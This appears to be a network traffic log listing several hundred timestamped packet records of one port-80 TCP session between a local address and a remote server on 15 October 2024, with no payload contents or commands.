Oct 15, 2024 19:22:14.276758909 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.276789904 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.276808023 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.276834965 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.277265072 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.277295113 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.277312040 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.277324915 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.277338028 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.277364969 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.277368069 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.277390003 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.277409077 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.277409077 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.277432919 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.277453899 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.277466059 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.277487040 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.277508020 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.277508974 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.277545929 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.277550936 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.277571917 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.277591944 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.277615070 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.279059887 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.279074907 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.279102087 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.279120922 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.279151917 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.326525927 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.326632023 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.326658010 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.326689005 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.326726913 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.326745987 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.326781034 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.331872940 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.331926107 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.331938028 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.331945896 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.331998110 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.332017899 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.332032919 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.332061052 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.332077980 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.332083941 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.332124949 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.332237959 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.332252026 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.332303047 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.357175112 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.357217073 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.357240915 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.357284069 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.357321024 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.357340097 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.357377052 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.393093109 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.393165112 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.393201113 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.393428087 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.393496990 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.393500090 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.393523932 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.393582106 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.393625021 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.393645048 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.393668890 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.393697023 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.393712997 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.393755913 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.393800974 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.393821001 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.393863916 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.393899918 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.393914938 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.393964052 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.396471977 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.396529913 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.396548033 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.396576881 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.396620989 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.396639109 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.396662951 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.396667004 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.396704912 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.396785975 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.396800041 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.396826982 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.396858931 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.396886110 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.396902084 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.396944046 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.396981955 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.397031069 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.397063971 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.397083044 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.397106886 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.397128105 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.397211075 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.397245884 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.397277117 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.397327900 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.397351027 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.397373915 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.397375107 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.397423029 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.397674084 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.397938013 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.397986889 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.398947954 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.398967028 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.398989916 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.399005890 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.444695950 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.444729090 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.444770098 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.444781065 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.444819927 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.444827080 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.444839001 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.444864988 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.444890022 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.450160980 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.450217009 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.450241089 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.450342894 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.450373888 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.450387955 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.450412989 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.450457096 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.450505972 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.450526953 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.450570107 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.450664997 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.450680017 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.450712919 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.450737000 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.450741053 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.450784922 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.475981951 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.476190090 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.476203918 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.476231098 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.476243973 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.476250887 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.476275921 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.476291895 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.476298094 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.476330042 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.512068987 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.512140989 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.512167931 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.512212992 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.512243986 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.512259007 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.512300968 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.512315035 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.512347937 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.512351036 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.512372971 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.512394905 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.514020920 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.514036894 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.514064074 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.514070034 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.514086962 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.514122963 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.515271902 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.515322924 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.515335083 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.515350103 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.515409946 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.515455961 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.515470028 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.515497923 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.515516043 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.515516043 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.515558004 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.515728951 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.515743971 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.515770912 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.515788078 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.515789032 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.515814066 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.515836000 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.515836954 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.515860081 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.515877962 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.515994072 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.516047001 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.516098022 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.516117096 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.516164064 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.516206980 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.516226053 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.516247988 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.516268969 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.517760038 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.517786980 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.517800093 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.517828941 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.517858982 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.563247919 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.563262939 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.563296080 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.563309908 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.563327074 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.563366890 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.563380003 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.563436985 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.563436985 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.568873882 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.568918943 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.568938971 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.568977118 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.569103003 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.569118023 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.569144964 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.569159985 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.569185019 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.569217920 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.569236994 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.569262028 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.569278002 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.569345951 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.569360971 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.569386959 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.569396973 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.569432020 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.606857061 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.606906891 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.606937885 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.606981993 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.607032061 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.607047081 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.607074022 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.607089996 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.607137918 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.607186079 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.607199907 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.607260942 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.630829096 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.630880117 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.630893946 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.630928040 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.631042957 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.631062031 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.631088018 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.631092072 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.631143093 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.631146908 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.631161928 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.631207943 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.631266117 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.631283998 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.631315947 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.631325960 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.631339073 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.631360054 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.631398916 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.633934021 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.633984089 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.633999109 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.634021044 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.634049892 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.634131908 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.634147882 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.634174109 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.634196997 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.634197950 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.634239912 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.634279966 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.634383917 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.634398937 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.634423971 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.634435892 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.634449959 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.634470940 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.634473085 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.634493113 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.634505987 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.634512901 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.634543896 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.634711981 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.634788036 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.634803057 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.634834051 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.634944916 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.634963989 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.635009050 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.636811972 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.636858940 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.636861086 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.638027906 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.638077021 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.681610107 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.681662083 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.681689978 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.681713104 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.681718111 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.681734085 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.681766033 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.681771994 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.681792974 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.681818008 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.681821108 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.681842089 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.681858063 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.687567949 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.687609911 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.687633038 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.687638998 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.687649012 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.687663078 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.687691927 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.687697887 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.687716007 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.687724113 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.687750101 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.687766075 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.687808037 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.687829971 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.687849045 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.687889099 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.687911034 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.687931061 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.725965023 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.726011038 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.726026058 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.726035118 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.726068974 CEST	80	49705	87.120.127.223	192.168.2.5
